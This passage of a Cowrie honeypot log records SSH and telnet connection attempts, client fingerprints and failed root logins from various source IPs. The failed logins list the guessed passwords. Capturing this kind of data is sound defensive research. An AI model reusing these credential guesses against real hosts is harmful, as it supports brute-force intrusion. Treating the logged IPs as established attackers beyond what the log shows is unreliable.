f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:11.718333Z","src_ip":"43.135.176.251","session":"124585fa33ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef1234","message":"login attempt [root/abcdef1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:12.025733Z","src_ip":"43.135.176.251","session":"124585fa33ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35428,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fdfaa7ab2a7","protocol":"telnet","message":"New connection: 192.119.13.58:35428 (10.17.0.5:23) [session: 5fdfaa7ab2a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:12.436011Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:13.097259Z","src_ip":"43.135.176.251","session":"124585fa33ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.70498013496399,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:17.823736Z","src_ip":"192.119.13.58","session":"8c513223b706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.90447545051575,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:18.423053Z","src_ip":"192.119.13.58","session":"912202f3b454","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":42692,"dst_ip":"159.203.135.109","dst_port":22,"session":"e02bb6f08f97","protocol":"ssh","message":"New connection: 49.51.241.230:42692 (159.203.135.109:22) [session: e02bb6f08f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:18.763594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:18.769169Z","src_ip":"49.51.241.230","session":"e02bb6f08f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:18.838578Z","src_ip":"49.51.241.230","session":"e02bb6f08f97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlcvlc","message":"login attempt [root/vlcvlc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:19.145985Z","src_ip":"49.51.241.230","session":"e02bb6f08f97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:20.218341Z","src_ip":"49.51.241.230","session":"e02bb6f08f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35494,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa0a5b09418","protocol":"telnet","message":"New connection: 192.119.13.58:35494 (10.17.0.5:23) [session: 1fa0a5b09418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:20.479034Z"}
{"eventid":"cowrie.session.closed","duration":0.005296468734741211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:20.484201Z","src_ip":"192.119.13.58","session":"1fa0a5b09418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38442,"dst_ip":"159.203.135.109","dst_port":22,"session":"862f43300cb4","protocol":"ssh","message":"New connection: 37.143.61.84:38442 (159.203.135.109:22) [session: 862f43300cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:20.820759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:20.825833Z","src_ip":"37.143.61.84","session":"862f43300cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:22.143883Z","src_ip":"37.143.61.84","session":"862f43300cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41566,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ab880e2cc9","protocol":"telnet","message":"New connection: 192.119.13.58:41566 (10.17.0.5:23) [session: 21ab880e2cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:22.252639Z"}
{"eventid":"cowrie.session.closed","duration":42.62950301170349,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:24.436529Z","src_ip":"192.119.13.58","session":"8543f9be1925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":38366,"dst_ip":"159.203.135.109","dst_port":22,"session":"1861a14dafc3","protocol":"ssh","message":"New connection: 147.45.199.80:38366 (159.203.135.109:22) [session: 1861a14dafc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:24.918493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:24.923836Z","src_ip":"147.45.199.80","session":"1861a14dafc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:25.020369Z","src_ip":"147.45.199.80","session":"1861a14dafc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eclipse","message":"login attempt [root/eclipse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:25.310757Z","src_ip":"147.45.199.80","session":"1861a14dafc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53586,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed5f5be53f21","protocol":"telnet","message":"New connection: 192.119.13.58:53586 (10.17.0.5:23) [session: ed5f5be53f21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:25.828925Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"glass","message":"login attempt [root/glass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:26.228681Z","src_ip":"37.143.61.84","session":"862f43300cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:26.408845Z","src_ip":"147.45.199.80","session":"1861a14dafc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:27.487803Z","src_ip":"37.143.61.84","session":"862f43300cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":40739,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e19410787e9","protocol":"ssh","message":"New connection: 186.122.177.140:40739 (10.17.0.5:22) [session: 3e19410787e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:30.912323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:30.917275Z","src_ip":"186.122.177.140","session":"3e19410787e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:31.108530Z","src_ip":"186.122.177.140","session":"3e19410787e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1933","message":"login attempt [root/1933] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:31.956453Z","src_ip":"186.122.177.140","session":"3e19410787e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:33.197169Z","src_ip":"186.122.177.140","session":"3e19410787e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":47394,"dst_ip":"159.203.135.109","dst_port":22,"session":"e993a7f646c2","protocol":"ssh","message":"New connection: 207.56.225.202:47394 (159.203.135.109:22) [session: e993a7f646c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:37.790606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:37.795532Z","src_ip":"207.56.225.202","session":"e993a7f646c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:37.958996Z","src_ip":"207.56.225.202","session":"e993a7f646c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.43783092498779,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:38.375616Z","src_ip":"192.119.13.58","session":"a47bce552599","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"p4sswd","message":"login attempt [root/p4sswd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:38.645793Z","src_ip":"207.56.225.202","session":"e993a7f646c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:39.816607Z","src_ip":"207.56.225.202","session":"e993a7f646c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":63834,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e7d546643b","protocol":"ssh","message":"New connection: 165.154.23.26:63834 (159.203.135.109:22) [session: 18e7d546643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:40.406059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:40.412373Z","src_ip":"165.154.23.26","session":"18e7d546643b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:40.629838Z","src_ip":"165.154.23.26","session":"18e7d546643b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hui123","message":"login attempt [root/hui123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:41.495997Z","src_ip":"165.154.23.26","session":"18e7d546643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:42.719921Z","src_ip":"165.154.23.26","session":"18e7d546643b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":59334,"dst_ip":"159.203.135.109","dst_port":22,"session":"71efd8510394","protocol":"ssh","message":"New connection: 185.236.22.41:59334 (159.203.135.109:22) [session: 71efd8510394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:43.025133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:43.030164Z","src_ip":"185.236.22.41","session":"71efd8510394","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:43.154447Z","src_ip":"185.236.22.41","session":"71efd8510394","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345aaa","message":"login attempt [root/12345aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:43.711610Z","src_ip":"185.236.22.41","session":"71efd8510394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:44.843313Z","src_ip":"185.236.22.41","session":"71efd8510394","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.243435859680176,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:49.412248Z","src_ip":"192.119.13.58","session":"6544df31b7ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.616167306900024,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.585404Z","src_ip":"192.119.13.58","session":"ae0e08e49e26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.38.174","src_port":43682,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea2da18160f","protocol":"ssh","message":"New connection: 104.243.38.174:43682 (10.17.0.5:22) [session: 4ea2da18160f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.657707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:06:51.663900Z","src_ip":"104.243.38.174","session":"4ea2da18160f","protocol":"ssh"}
